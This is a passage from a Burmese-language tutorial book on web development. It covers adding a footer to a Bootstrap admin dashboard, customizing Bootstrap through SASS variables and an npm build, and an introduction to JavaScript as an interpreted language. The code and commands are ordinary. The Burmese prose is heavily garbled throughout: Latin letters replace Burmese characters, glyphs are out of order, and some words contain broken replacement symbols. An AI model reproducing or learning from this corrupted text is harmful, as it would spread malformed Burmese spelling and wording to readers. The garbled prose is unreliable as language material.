အကြေရာင်ကိုသာ  ကိုယ်လုိချင်တဲ့  bg-{color} နဲ့  တွဲသုံးရတာပါ။  Bar ရဲ့  အgမင့်နဲအ့ရှည်အတွက်
width, height Property ကြေတွကိုသုံးပြပီး ကိုယ်လုိသကြေလာက် ကြေပးထားလုိရ့ပါတယ်။

ဒီ  Row  ထဲမှာ  Card  နှစ်ခုပါပြပီး  တစ်ခုနဲတ့စ်ခု  ညီကြေစoုိအ့တွက်  Inline  Style  ကိုသုံးပြပီး  height ကြေတွ
သတ်မှတ်ကြေပးတာကို  သတိgပုပါ။ ပြပီးကြေတာ့  Progress Bar  ကြေတွကို  ပါးပါးကြေလးပဲ ကြေပါ်ကြေစချင်လုိ့  height
ကြေတွသတ်မှတ်ကြေပးထားပါတယ်။ Width အတွက်ကြေတာ့ w- Utility Class ကြေတွကိုသုံးထားပါတယ်။

အားလုံးစံုသွားပါပြပီ။ ကြေအာက်ဆံုးမှာ Footer ကြေလးတစ်ခုအခုလုိထပ်ထည့်ကြေပးလုိက်ပါ။

 HTML 

<footer class="text-center py-4 text-muted">
&copy; Copyright 2020

</footer>

အခုဆိုရင်ကျွန်ကြေတာ်တို ့နမူနာလုပ်eကည့်ချင်တဲ့ Admin Dashboard UI ကြေလး gပည့်စံုသွားပါပြပီ။ အခုကြေနစမ်း
eကည့်ရင်ရမယ့် ကြေနာက်ဆံုးရလဒ်ကကြေတာ့ ဒီလုိgoစ်မှာပါ။
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ဟိုးအကြေပါ်မှာလည်း ရမယ့်ရလဒ်ကို ကြကိုgပခဲ့ပြပီးသားပါ။ Responsive လုပ်ကြေဆာင်ချက် တစ်ခါထဲ ထည့်ထား
လုိ့ Screen Size ကို ကြေgပာင်းပြပီးကြေတာ့လည်း စမ်းeကည့်နိုင်ပါတယ်။

ဒီနမူနာကြေလးကို  လုပ်eကည့်လုိက်တဲ့အတွက်  Bootstrap  ရဲ့လုပ်ကြေဆာင်ချက်ကြေတွကို  နားလည်ယံုသာမက
လက်ကြေတွ့အသုံးချတဲ့ အကြေလ့အကျင့်ကြေလး တစ်ခုကိုပါ ရရှိသွားလိမ့်မယ်လုိ့ ကြေမျှာ်လင့်ပါတယ်။

ကြေရးသားထားပြပီးကုဒ်နမူနာကို Download ရယူလုိရင်ကြေတာ့ ဒီလိပ်စာမှာ ရယူနိုင်ပါတယ်။

- https://github.com/eimg/bootstrap-book

https://github.com/eimg/bootstrap-book
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 အခန်း (၁၀) – Customizing Bootstrap

လက်ရှိမှာ Component ကြေတွ Layout ကြေတွကို အသုံးgပုတဲ့အခါ Bootstrap ကကြေပးထားတဲ့အတိုင်း အသုံးgပု
ကြေနgခင်း  goစ်ပါတယ်။  အကယ်၍များ  ဆန္ဒရှတိယ်ဆိုရင်  Bootstrap  ကို  ကိုယ့်စိတ်တိုင်းကျလည်း
Customize လုပ်ထားလုိ့ ရနိုင်ပါတယ်။ SASS နည်းပညာကို အသံုးgပုပြပီး Customize လုပ်ရတာပါ။

ဒီကြေနရာမှာ SASS အကြေeကာင်း အပါအဝင် Customize လုပ်ပုံ အကြေသးစိတ်ကို ထည့်သွင်းမကြေoာ်gပနိုင်ကြေပမယ့်၊
Bootstrap ကို Customize လုပ်ချင်ရင် yယ်လုိလုပ်ရသလဲဆိုတာ စာoတ်သူကြေတွအုိင်ဒီယာရကြေစoုိအ့တွက်
အကျဉ်းကြေလာက်ကြေတာ့ ထည့်သွင်းကြေoာ်gပချင်ပါတယ်။ ကြကိုးစားပြပီး လုိက်လုပ်eကည့်ပါ။

Step-1 – Install Node
ပထမဆံုးအကြေနနဲ့  Node  ကို  Install  လုပ်ထားoုိလုိ့ပါလိမ့်မယ်။  ပကြေရာင်္ဂျက်တည်ကြေဆာက်တာကြေတွ  SASS
ကုဒ်ကြေတွကို  CSS  ကုဒ်goစ်ကြေအာင်  Compile  လုပ်တာကြေတွကို  Node  ကကြေနတစ်ဆင့်  လုပ်ရမှာမုိလုိ့ပ့ါ။  ဒီ
လိပ်စာမှာ Download လုပ်လုိရ့နိုင်ပါတယ်။

- https://nodejs.org

Download  လုပ်ပြပီးရင်  Install  လုပ်လုိက်ပါ။  Install  လုပ်ပြပီးသွားတဲ့အခါ  Node  နဲအ့တူ  NPM  လုိ့ကြေခါ်တဲ့
နည်းပညာ တစ်ခါထဲ ပါဝင်သွားပါလိမ့်မယ်။ NPM အကြေeကာင်း အကျဉ်းချုပ်ကို ကြေရှ့ပုိင်းမှာကြေgပာထားပြပီးသား
ပါ။ ကြေနာက်အပုိင်းကြေတွမှာလည်း ဆက်လက်ကြေoာ်gပပါဦးမယ်။ ဒီကြေနရာမှာကြေတာ့ လုိအပ်တဲ့ Command တစ်ခု
နှစ်ခုကိုပဲ ကြေရွးeကည့်ချင်ပါတယ်။

https://nodejs.org/
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Step-2 – Create Project Folder
ပကြေရာင်္ဂျက်oုိဒါတစ်ခုကို မိမိနှစ်သက်ရာအမည်နဲ့ကြေဆာက်လုိက်ပါ။ ဥပမာ  -  theme ဆိုeကပါစို။့ ပြပီးတဲ့အခါ
အထဲမှာ  scss နဲ့  css ဆိုတဲ့  oုိဒါနှစ်ခုတည်ကြေဆာက်လုိက်ပါ။  index.html oုိင်ကို  အgပင်မှာ
တည်ကြေဆာက်ပြပီး  custom.scss အမည်နဲ့oုိင်တစ်ခုကို  scss oုိဒါထဲမှာ  တည်ကြေဆာက်လုိက်ပါ။
oဲွ့စည်းပံုက ဒီလုိပါ။

theme/
    |- css/
    |- scss/
    |    |- custom.scss
    |- index.html

Step-3 – Install Bootstrap & SASS
တည်ကြေဆာက်ထားတဲ့ ပကြေရာင်္ဂျက်oုိဒါထဲမှာ Command Prompt (သုိ့) Terminal ကိုoွင့်လုိက်ပါ။ ပြပီးရင် ဒီ
Command ကို Run ကြေပးပါ။

npm init -y

ဒါဟာ လက်ရှိပကြေရာင်္ဂျက်oုိဒါကို NPM ပကြေရာင်္ဂျက်goစ်ကြေအာင် ကြေgပာင်းလုိက်တာပါ။ ပြပီးတဲ့အခါ ဒီ Command
နဲ ့Bootstrap ကြေရာ SASS ကိုပါ Install လုပ်လုိက်ပါ။

npm install bootstrap sass

အခုချနိ်မှာ ပကြေရာင်္ဂျက်oုိဒါရဲ့ oဲွ့စည်းပံုက ဒီလုိgoစ်ကြေနပါလိမ့်မယ်။

theme/
    |- node_modules/
    |    |- bootstrap/
    |    |- sass/
    |- css/
    |- scss/
    |    |- custom.scss
    |- index.html
    |- package.json
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package.json ဆိုတဲ့  oုိင်ဟာ  npm  init ကို  Run  လုိက်လုိ့  ပါဝင်သွားတဲ့oုိင်goစ်ပြပီး  npm
install နဲ့  Install  လုပ်လုိက်တဲ့  Bootstrap  နဲ့  SASS  တိုက့ကြေတာ့  node_modules ဆိုတဲ့oုိဒါထဲကို
ကြေရာက်ရှိသွားgခင်းgoစ်ပါတယ်။ ဒါဆိုရင် Bootstrap ကို စတင် Customize လုပ်oုိအ့တွက် အသင့်goစ်ပါပြပီ။

Step-4 – Writing Customization Code
scss/custom.scss oုိင်ကိုoွင့်ပြပီး အခုလုိကြေရးကြေပးလုိက်ပါ။

 SCSS 

$enable-rounded: false;
$primary: #6610f2;
$secondary: #d63384;
$success: #20c997;
$warning: #fd7e14;

@import "../node_modules/bootstrap/scss/bootstrap";

.note {
margin: $spacer 0;
padding: $spacer;
border: 1px solid $warning;
border-left: 5px solid $warning;

}

Bootstrap က အလွယ်တစ်ကူgပင်လုိရ့ကြေအာင် ကြကိုကြေရးကြေပးထားတဲ့ Variable ကြေတရွှိပါတယ်။ အ့ဲဒီ Variable
ကြေတွထဲက  $enable-rounded ဆိုတဲ့  Variable  တန်oုိးကို  false လုိ့ကြေပးလုိက်တဲ့အတွက်၊  Button
ကြေတွ  List Group  ကြေတွ  Card  ကြေတွမှာ ကြေထာင့်ကြေကွးကြေလးကြေတွ မပါကြေတာ့yဲ ရုိးရုိးကြေလးကြေထာင်နဲပဲ့ ကြေoာ်gပကြေပး
ကြေတာ့မှာပါ။

ပြပီးတဲ့အခါ Color Variable ကြေတွကိုလည်း ကိုယ်ကြကိုက်တဲ့အကြေရာင်နဲ့ ကြေgပာင်းကြေပးထားပါတယ်။ $primary
ဟာ မူလက အgပာကြေရာင်ပါ။ အခုကြေတာ့ ခရမ်းကြေရာင်နဲ့ ကြေgပာင်းကြေပးထားပါတယ်။ $secondary ဟာ မူလ
က မိှန်တဲ့အကြေရာင်ပါ။ အခုကြေတာ့ ပန်းကြေရာင်နဲ့ ကြေgပာင်းကြေပးထားပါတယ်။ $success ကိုလည်း မတူကွဲgပား
တဲ့  အစိမ်းကြေရာင်တစ်မျ ို းနဲ့  ကြေgပာင်းထားပြပီး  $warning ကို  အဝါအစား  လိကြေမ°ာ်ကြေရာင်နဲ့  အစားထုိးထားပါ
တယ်။ Color ကုဒ်ကြေတွကြေနရာမှာ ကိုယ်ကြကိုက်တဲ့အကြေရာင်ကို ကိုယ်ကြကိုက်တဲ့ Format နဲ့ကြေပးနိုင်ပါတယ်။
ပြပီးတဲ့အခါ @import နဲ့ ပင်မ Bootstrap SCSS Source Code ကို ချတိ်ယူထားပါတယ်။ ဒီကြေတာ့မှ ဒီoုိင်
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ကို  CSS  ကြေgပာင်းလုိက်ရင်  မူလ  Bootstrap  SCSS  ကုဒ်ကြေတွကို  ကိုယ်goည့်ကြေရးကြေပးထားတဲ့  ကုဒ်ကြေတွနဲ့
ကြေပါင်းစပ်ကြေပးသွားမှာပါ။ Bootstrap Variable တန်oုိးကြေတွကို ကြေgပာင်းချင်ရင် Import မလုပ်ခင် ကြေရးကြေပးရပါ
တယ်။ Import လုပ်ပြပီးမှ ဆက်ကြေရးထားတဲ့ ကုဒ်ကြေတွကကြေတာ့ Bootstrap ကို gပင်တာ မဟုတက်ြေတာ့yဲ ကို
ယ့်yာသာ ထပ်goည့်ထားတဲ့ လုပ်ကြေဆာင်ချက်ကြေတွပါ။ 

နမူနာမှာ  note Class  အတွက်  Style  တစ်ချ ို ့ကြေရးထားကြေပးပါတယ်။  $spacer ဆိုတာ  Bootstrap
Variable ပါပဲ။ Default Value 1rem လုိ့ သတ်မှတ်ထားပါတယ်။ ဆန္ဒရှိရင် gပင်လုိရ့ပါတယ်။ အခုက၊ gပင်
ထားတာ မဟုတ်ပါyူး။  ယူသုံးထားတာပါ။  note Component  အတွက်  margin နဲ့  padding ကို
$spacer ရဲ့တန်oုိးအတိုင်းပဲ ယူလုိက်တာပါ။ ဒါကြေeကာင့်ကြေနာက်ပုိင်း $spacer တန်oုိးကြေgပာင်းလုိက်ရင် ဒီ
တန်oုိးကြေတွလည်း လုိက်ကြေgပာင်းသွားမှာပါ။

ကြေတာ်ပါပြပီ။  နမူနာအကြေနနဲ့  ဒီကြေလာက်ပဲ  စမ်းမှာပါ။  တစ်ကယ်တမ်း လုပ်မယ်ဆိုရင်ကြေတာ့ လုပ်လုိရ့တာကြေတွ
အများကြကီးပါ။ ကြေနာက် အသင့်goစ်ပြပီဆိုကြေတာ့မှ Bootstrap Documentation မှာ ဆက်ကြေလ့လာလုိက်ပါ။

Step-5 – Compiling and Using
ကြေရးထားတဲ့  Custom  SCSS  ကုဒ်ကြေတွကို  CSS  ကြေgပာင်းeကပါမယ်။  ဒါကြေeကာင့်  ပကြေရာင်္ဂျက်oုိဒါထဲမှာ  ဒီ
Command ကို Run ကြေပးပါ။

npx sass scss/custom.scss css/custom.css

sass ကိုအသုံးgပုပြပီး  scss oုိဒါထဲမှာရှိတဲ့  custom.scss oုိင်ကို  css oုိဒါထဲမှာ  custom.css ဆို
တဲ့အမည်နဲ့  Compile  လုပ်ကြေပးသွားမှာgoစ်ပါတယ်။  ပြပီးသွားရင်  custom.css oုိင်ကိုoွင့်eကည့်နိုင်ပါ
တယ်။ အထဲမှာ Bootstrap CSS ကုဒ်ကြေတွပါဝင်တာကို ကြေတွ့ ရပါလိမ့်မယ်။ ထူးgခားသွားတာက ကျွန်ကြေတာ်
တို့  gပုgပင်goည့်စွက်ပြပီး  ကြေရးကြေပးလုိက်တဲ့  ကုဒ်ကြေတွပါ  ကြေရာပါသွားတာမုိလုိ့့  အခုကြေန  အသုံးgပုရင်  gပုgပင်
goည့်စွက် ထားတဲ့အတိုင်း ရရှိမှာgoစ်ပါတယ်။

စမ်းသပ်နိုင်oုိအ့တွက် index.html ထဲမှာ အခုလုိကြေရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။
 HTML 
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<!DOCTYPE html>
<html lang="en">
<head>

<meta charset="UTF-8">
<meta name="viewport" 

           content="width=device-width, initial-scale=1.0">
<title>Theme</title>
<link rel="stylesheet" href="css/custom.css">

</head>
<body>

<div class="container">
<div class="note">This is a custom note component</div>

<button class="btn btn-primary">Primary</button>
<button class="btn btn-secondary">Secondary</button>
<button class="btn btn-success">Success</button>
<button class="btn btn-warning">Warning</button>

</div>
</body>
</html>

<link> နဲခ့ျတိ်ထားတာ Bootstrap မဟုတ်ကြေတာ့ပါyူး။ css ထဲက custom.css goစ်သွားပါပြပီ။ စမ်း
eကည့်လုိက်ရင် ရလဒ်က အခုလုိgoစ်မှာပါ။
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goည့်စွက်ထည့်သွင်းထားတဲ့  note Component  အလုပ်လုပ်ကြေနတာကိုကြေတွ့ရမှာ  goစ်သလုိ  primary,
secondary, success, warning  စတဲ့  Color ကြေတွကလည်း gပုgပင်ကြေပးလုိက်တဲ့အတိုင်း ကြေoာ်gပ
ကြေနတာကို  ကြေတွ့ရမှာ  goစ်ပါတယ်။  Button  ကြေတွမှာ  Rounded  Corner  ကြေလးကြေတွမပါကြေတာ့yဲ  လံုးဝ
ကြေလးကြေထာင့် goစ်ကြေနတာကိုလည်း သတိgပုပါ။

ဒီနည်းနဲ့  Bootstrap  ကို  Customize  လုပ်ထားgခင်းအားgoင့် အများနဲမ့တူ ကွဲgပားတဲ့  အသွင်အgပင်ကြေတွကို
ရရှိနိုင်ပါတယ်။ ဒီနည်းကိုသံုးပြပီး ကြကိုကြေရးကြေပးထားတဲ့  Bootstrap Themes ကြေတွလည်းအများအgပား ရှိကြေနပါ
တယ်။  တစ်ချ ို ့က  အခကြေပး  Themes  ကြေတွgoစ်ပြပီး  တစ်ချ ို ့ကကြေတာ့  အခမ့ဲရတဲ့  Themes  ကြေတွပါ။  ရှာကြေoွ
ကြေလ့လာပြပီး အသုံးgပုeကည့်သင့်ပါတယ်။

ဒီကြေလာက်ဆိုရင်  အကြေတာ်ကြေလးလည်းစံုသွားပြပီမုိလုိ့့  ကြေနာက်တစ်ပုိင်းမှာ  JavaScript  အကြေeကာင်းကို
ဆက်လက် ကြေလ့လာသွားeကမှာပဲ goစ်ပါတယ်။



အပိုင်း (၃)
JavaScript
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အခန်း (၁၁) – Programming Language

Programming Language   ဆိုတာဟာ လူ နဲ့ ကွန်ပျူတာရဲ့ eကားထဲက eကားခံyာသာစကား goစ်ပါတယ်  ။
လူကြေတွကကြေနစ့ဉ်သုံး  gမန်မာ၊  အင်္ဂ[လိပ်  စတဲ့  yာသာစကားကြေတွကို  နားလည်အသံုးgပုeကပြပီး  ကွန်ပျူတာ
ကကြေတာ့ 0 နဲ့ 1 ကြေတွ စုoဲွ့ပါဝင်တဲ့ Binary System ကြေခါ် yာသာစကားကိုသာ နားလည်အသံုးgပုပါတယ်။ ဒါ
ကြေeကာင့်  ကွန်ပျူတာကို  ညွှန်eကားချကက်ြေတွ  ကြေပးပြပီး  လုိသလုိကြေစခိုင်းလုိရင်  ကွန်ပျူတာနားလည်တဲ့
yာသာစကားကို  အသုံးgပု  ကြေစခိုင်းရမှာပါ။  လူကြေတွအတွက်  ကွန်ပျူတာနားလည်တဲ့  Binary System  ကို
တိုက်ရုိက် အသံုးgပုoုိ့ ခက်ခဲလွန်းပါတယ်။ အဆင်မကြေgပပါyူး။ ဒါကြေeကာင့်  Programming Language  ကြေခါ်
eကားခံyာသာစကားကြေတွကို  တီထွင်ပြပီး  ကွန်ပျူတာကို  ညွှန်eကားကြေစခိုင်းeကgခင်းပဲ  goစ်ပါတယ်။
Programming Language ကြေတွကို အသုံးgပုပြပီး ကွန်ပျူတာကို ညွှန်eကားတဲ့ ကုဒ်ကြေတွ ကြေရးသားတဲ့လုပ်ငန်း
ကို ပရိုဂA�်း�င်း လုိ့ကြေခါ်ပြပီးကြေတာ့၊ ဒီလုိကြေရးသားနိုင်သူကို ပရိုဂA�်�ာ လုိ ့ကြေခါ်eကပါတယ်။

Programming Language  ကြေတွကို  အသုံးgပုကြေရးသားထားတဲ့  ညွှန်eကားချက်ကြေတွကို  ကွန်ပျူတာနားလည်
တဲ့  yာသာစကား  goစ်ကြေအာင်  ကြေgပာင်းလုိရ့ပါတယ်။  ဒီလုိကြေgပာင်းတဲ့အခါ  ကြေgပာင်းပုံကြေgပာင်းနည်း  (၂)  မျ ို းရှိ
တယ်လုိ့ အeကမ်းoျဉ်းအားgoင့် ကြေgပာနိုင်ပါတယ်။ 

တစ်မျ ို းကကြေတာ့    Compiler    လုိ့ကြေခါ်တဲ့  ကြကိုတင်yာသာgပန်တဲ့  စနစ်goစ်ပါတယ်  ။  အင်္ဂ[လိပ်လုိကြေရးထားတဲ့
စာတစ်ပုဒ်ရှိတယ်ဆိုeကပါစို။့ yာသာgပန်တဲ့ လူတစ်ကြေယာက်က အ့ဲဒီစာကို ကြကိုတင်yာသာgပန်ပြပီး ဗမာလုိ
ကြေရးထားကြေပးလုိက်မယ်ဆိုရင်၊  ဗမာလုိoတ်ချင်တဲ့သူက မူလအင်္ဂ[လိပ်လုိ  ကြေရးထားတဲ့စာကို  eကည့်စရာမလုိ
ကြေတာ့ပါyူး။  ဗမာလုိ  gပန်ပြပီးသားကို  oတ်လုိက်ယုံပါပဲ။  ဒီလုိစနစ်မျ ို းနဲ့  အလုပ်လုပ်တဲ့  Programming
Language  ကြေတွကို  Compiled  Language  လုိ့  ကြေခါ်ပါတယ်။  ထင်ရှားတဲ့  Compiled  Language  ကြေတွ
ကကြေတာ့  C/C++, Java, Go, Rust  တို့  goစ်ပါတယ်။ ဒီ  Language  ကြေတွကိုအသုံးgပုပြပီး ညွှန်eကားချက်ကုဒ်
ကြေတွ ကြေရးပြပီးရင် ကွန်ပျူတာနားလည်တဲ့ ကုဒ်goစ်ကြေအာင် ကြကိုတင်yာသာgပန်စနစ်  Compiler  နဲ့  Compile
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လုပ်ပြပီး ကြေgပာင်းကြေပးရပါတယ်။ ကွန်ပျူတာက မူရင်းကုဒ်ကို မသိပါyူး။ Compile လုပ်ပြပီးကြေgပာင်းထားတဲ့ သူ
နားလည်တာကိုသာ တိုက်ရုိက်eကည့်ရှု အလုပ်လုပ်သွားမှာပဲ goစ်ပါတယ်။

ကြေနာက်တစ်မျ ို းကကြေတာ့    Interpreter    လုိ့ကြေခါ်တဲ့  တိုက်ရုိက်yာသာgပန်စနစ်  goစ်ပါတယ်  ။  yာနဲတ့ူလဲဆို
ကြေတာ့၊ အင်္ဂ[လိပ်လုိလူတစ်ကြေယာက်က ကြေgပာကြေနတဲ့အခါ၊ yာသာgပန်တဲ့သူက တိုက်ရုိက် သူကြေgပာသမျှကို ဗမာ
လုိyာသာgပန်  ကြေgပာgပကြေပးတဲ့  သကြေyာမျ ို းနဲ့  တူပါတယ်။  နားကြေထာင်တဲ့သူက  အင်္ဂ[လိပ်လုိ  နားမလည်
ရင်ကြေတာင်၊ eကားထဲက yာသာgပန်က တိုက်ရုိက်အသံထွက်gပန်ကြေပးကြေနလုိ့ နားလည်သွားတဲ့ သကြေyာမျ ို းပါ။
ဒီလုိစနစ်မျ ို းနဲ့  အလု််ပလုပ်တဲ့  Programming Language  ကြေတွကို  Interpreted Language  လုိ့  ကြေခါ်ပါ
တယ်။  Script  Language  လုိလ့ည်း  ကြေခါ်eကပါကြေသးတယ်။  ထင်ရှားတဲ့  Interpreted  Language  ကြေတွ
ကကြေတာ့ Python, Ruby, PHP, JavaScript တို့ goစ်ပါတယ်။ ဒီ  Language ကြေတွကိုသုံးပြပီး ညွှန်eကားချက်
ကုဒ်ကြေတွကြေရးကြေပးလုိက်ရင် ကွန်ပျူတာက အ့ဲဒီကုဒ်ကို နားလည်အလုပ်လုပ်နိုင်ပါတယ်။ သူ့အလုိအကြေလျှာက်
နားလည်တာမျ ို းမဟုတ်yဲ eကားထဲက Interpreter က တိုက်ရုိက်yာသာgပန်ကြေပးကြေနတဲ့အတွက် နားလည်
သွားတဲ့သကြေyာပဲ goစ်ပါတယ်။

JavaScript
JavaScript  ဟာ  သူ့အမည်မှာကိုက  Script  ဆိုတဲ့အသုံးအနှုန်းပါကြေနပြပီး  goစ်ပါတယ်။  Interpreted
Language  တစ်မျ ို း၊  Script  Language  တစ်မျ ို း  goစ်ပါတယ်။  ဒါကြေeကာင့်  JavaScript  ကို  အသုံးgပုပြပီး
ညွှန်eကားချက်ကုဒ်ကြေတွ ကြေရးကြေပးလုိက်ရင် ကွန်ပျူတာက နားလည်အလုပ်လုပ်နိုင်ပါတယ်။ အထက်မှာကြေgပာ
ခဲ့သလုိ တုိက်ရုိက်yာသာgပန်စနစ် Interpreter ရဲ့အကူအညီနဲ ့နားလည်နိုင်တာပါ။

JavaScript  ကို အရင်က Client-side Script  လုိလ့ည်း ကြေခါ်eကပါတယ်။ ဒီကြေနရာမှာ  Client  ကြေတွ  Server
ကြေတွအကြေeကာင်းကို  အကျယ်မချဲ့ချင်ကြေသးပါyူး။  လုိရင်းအတိုချုပ်  ဒီလုိမှတ်နိုင်ပါတယ်။  JavaScript  ဟာ
Chrome, Edge, Firefox စတဲ့  Web Browser ထဲမှာ အလုပ်လုပ်တဲ့  Programming Language ပါ။ အ့ဲဒီ
Web Browser  ကြေတွ ကိုယ်တိုင်က  JavaScript  ကုဒ်ကြေတွကို  တုိက်ရုိက်yာသာgပန်ကြေပးနိုင်တဲ့  Interpreter
ကြေတွ goစ်ကြေနတာပါ။ ဒီ  Web Browser  ကြေတဟွာ  Google, Facebook, YouTube  စတဲ့  Server  ကို  ဆက်
သွယ် အလုပ်လုပ်ကြေပးနိုင်တဲ့  Client Software ကြေတွ goစ်eကပါတယ်။ ဒါကြေeကာင့် Client Software   တစ်မျ ို း  
goစ်တဲ့   Web Browser   ထဲမှာ အလုပ်လုပ်တဲ့   Language   goစ်ကြေနလုိ့   JavaScript   ကို   Client-side Language  
လုိ့ ကြေခါ်gခင်းပဲ goစ်ပါတယ်။
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JavaScript  ကို စတင်တီထွင်စဉ်က အ့ဲဒီလုိ  Client-side Language  အကြေနနဲ့  တီထွင်ခဲ့eကတာပါ။ ကြေနာက်
ကြေတာ့မှ  Node  လုိ့ကြေခါ်တဲ့  နည်းပညာတစ်မျ ို း  ထွက်ကြေပါ်လာပြပီး  JavaScript  ကုဒ်ကြေတွကို  Browser  မလုိ
ကြေတာ့yဲ yာသာgပန် အလုပ်လုပ်ကြေပးနိုင်လာတာပါ။

ဒါကြေeကာင့်ကကြေန့အချနိ်မှာကြေတာ့ JavaScript   ဟာ   General Purpose   ကြေခါ် ကဏ္ဍစံုမှာ အသုံးgပုနိုင်တဲ့ စွယ်စံု  
သုံး   Language   တစ်ခုgoစ်ကြေနပါပြပီ  ။ JavaScript ကိုအသုံးgပုပြပီး Web Application ကြေတွ၊ Mobile App ကြေတွ
Desktop Software ကြေတွ ကြေရးသားoန်တီးလုိ့ ရပါတယ်။

JavaScript သည် Java �ဟုတ်
ကကြေနအ့ချနိ်မှာ ပရုိင်္ဂရမ်းမင်း ကိုစိတ်ဝင်စားလုိ့ ကြေလ့လာeကသူအများစု သိeကပြပီး goစ်မယ်လုိ့ ထင်မိကြေပမယ့်
သိပ်မသိeကကြေသးတာကြေလး တစ်ခုရှိပါကြေသးတယ်။ Java နဲ့  JavaScript  တိုဟ့ာ ထင်ရှားတဲ့  Programming
Language  ကြေတွ  goစ်eကပါတယ်။  ဒါကြေပမယ့်  နာမည်အားgoင့်  ဆင်တူကြေပမယ့်  တစ်ခုနဲတ့စ်ခု  ဆက်စပ်
သက်ဆိုင်gခင်းမရှိတဲ့  သီးgခားနည်းပညာကြေတွပါ။  အသုံးချတဲ့  နယ်ပယ်ကြေတွလည်း မတူeကပါyူး။  Java  ကို
လုပ်ငန်းသုံးကြေဆာ့o်ဝဲကြေတွ  oန်တီးoုိန့ဲ့  Android  App  ကြေတွ  oန်တီးoုိ့အပုိင်းမှာ  ပုိအသံုးများeကပါတယ်။
JavaScript ကိုကြေတာ့ Web App ကြေတွ oန်တီးoုိန့ဲ့ Web Services ကြေတွ oန်တီးoုိ ့ပုိအသုံးများeကပါတယ်။
Java ဟာ Compiled Language တစ်မျ ို းgoစ်ပြပီး JavaScript ဟာ Interpreted Language တစ်မျ ို းပါ။ ဒီ
ကြေနရာမှာလည်း မတူeကပါyူး။ ပြပီးကြေတာ့ Java ဟာ Statically Typed သကြေyာသyာဝ ရှိပြပီး  JavaScript
ကကြေတာ့  Loosely Typed  သကြေyာသyာဝရှိပါတယ်။ ဒီသကြေyာသyာဝကြေတွ အကြေeကာင်းကို  Data Types
ကြေတွ အကြေeကာင်းကြေgပာရင်းနဲ့ ကြေနာက်ပုိင်းမှာ ဆက်ရှင်းgပသွားမှာပါ။ တgခားကွဲgပားမှုကြေတွလည်း ကျန်ကြေသးကြေပ
မယ့် အခုကြေနကြေgပာလုိက်ရင် အဆင့်ကြေကျာ်သလုိ goစ်ကြေနပါလိမ့်မယ်။ ဒါကြေeကာင့် လုိရင်းအနှစ်ချုပ်အကြေနနဲ့ Java
နဲ့  JavaScript တိုဟ့ာ အမည်အားgoင့် ဆင်တူကြေပမယ့် မတူကွဲgပားတဲ့ သီးgခားနည်းပညာကြေတွ goစ်eကတယ်
ဆိုတာကြေလာက်ကိုပဲ မှတ်သားထားကြေပးပါ။
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ပရုိင်္ဂရမ်းမင်းကို  ကြေလ့လာတဲ့အခါ  ကိုယ်ကြေရးလုိက်တဲ့ကုဒ်ကို  ကွန်ပျူတာက yယ်လုိနားလည် အလုပ်လုပ်
သွားသလဲဆိုတာကို  ပံုကြေoာ်eကည့်နိုင်စွမ်းရှိoုိ့ အကြေရးကြကီးပါတယ်။ ဒါအကြေရးအကြကီးဆံုး  လုိအပ်ချက်လုိ့  ဆိုနိုင်
ပါတယ်။ ပံုကြေoာ်eကည့်တယ် ဆိတုဲ့ကြေနရာမှာ ကိုယ်သံုးကြေနတဲ့ ကွန်ပျူတာစနစ်ရဲ့ ဟိုးအတွင်းပုိင်း အလုပ်လုပ်
ပုံကို  အကြေသးစိတ်နားလည်ပြပီး  ပုံကြေoာ်eကည့်နိုင်ရင်ကြေတာ့  အကြေကာင်းဆုံးပါပဲ။  ဒါကြေပမယ့်  လက်ကြေတွ့မှာ
ကွန်ပျူတာစနစ်ကြေတွက တစ်ခုနဲတ့စ်ခု မတူeကလုိ့ စနစ်အားလံုးကို အကြေသးစိတ်နားလည်ထားoုိ့ လွယ်ကြေတာ့
မလွယ်ပါyူး။

ဒါကြေပမယ့် ကိစ္စမရှိပါyူး။ ကွန်ပျူတာစနစ်ကြေတွမှာ   Abstraction   ကြေခါ် အလွှာလုိက် အဆင့်လုိက် ရှိကြေနeကလုိ့  
ကိုယ်ထိကြေတွ့ရမယ့်အလွှာကို နားလည်ထားရင် ရပါပြပီ။ ကြေနာက်ပုိင်းမှ ကျန်အလွှာကြေတွကို ထပ်ဆင့်ကြေလ့လာ
သွားeကရမှာပါ။  အကြေဝးကြကီးမeကည့်ပါနဲ၊့  လူဦးကြေနှာက်အသိစိတ်ကိုပဲeကည့်ပါ။  လက်ကြေလးတစ်oက်  လှုပ်ရင်
လှုပ်သွားတယ်ဆိုတာကို အသိစိတ်က သိပါတယ်။ ဒါကြေပမယ့် အ့ဲဒီလက်ကြေလး လှုပ်သွားoုိအ့တွက် အရုိးကြေတွ၊
ကြကွက်သားကြေတ၊ွ နာဗ်ကြေeကာကြေတွ yယ်လုိကြေပါင်းစပ် အလုပ်လုပ်သွားသလဲ အတိအကျ မသိပါyူး။ အ့ဲဒီအရုိး၊
ကြကွက်သား၊ နာဗ်ကြေeကာကြေတွ goစ်ကြေပါ်လာoုိ့ oဲွ့စည်းထားတဲ့  အက်တမ်ကြေတ၊ွ တစ်ရှူးကြေတရွဲ့ ပါဝင်မှုoဲွ့စည်းပံု
ကိုလည်း မသိပါyူး။ ဒါကြေပမယ့် အနည်းဆံုးအကြေgခခံgoစ်တဲ့  လက်ကကြေလးလှုပ်သွားရင် လှုပ်တယ်ဆိုတာကို
သိတဲ့ အသိစိတ်ရှိကြေနတာနဲတ့င် ကြေနစ့ဉ်ပံုမှန် လှုပ်ရှားသွားနိုင်ကြေနပါပြပီ။ 

ဒီသကြေyာပါပဲ။  ကွန်ပျူတာရဲ့  ဟိုးအတွင်းပုိင်း  ထရန်စ္စတာကြေလးကြေတွရဲ့  အလုပ်လုပ်ပံု၊  CPU Architecture
အကြေeကာင်း၊ Operating System ကြေတွရဲ့ အလုပ်လုပ်ပံု၊ Compiler/Interpreter ကြေတွရဲ့ အလုပ်လုပ်ပံုအဆင့်
ဆင့်၊ စသည်goင့် သိထားရင်ကြေကာင်းပါတယ်။ ဒါကြေပမယ့် အနည်းဆံုးအကြေgခခံgoစ်တဲ့ ကုဒ်ကြေရးထုံးပုိင်းကြေလာက်
သိထားရင် လုိချင်တဲ့ရလဒ် ရရှိကြေအာင် အလုပ်လုပ်လုိရ့ကြေနပါပြပီ။ ကျန်အဆင့် ကျန်အလွှာကြေတွကိုကြေတာ့ ကိုယ့်
ကြေရွးချယ်မှုကြေပါ်မူတည်ပြပီး  yယ်အဆင့်  yယ်အလွှာထိ  ဆက်ကြေလ့လာသွားမလဲဆိုတာ  ကြေနာင်မှာ  ဆံုးgoတ်
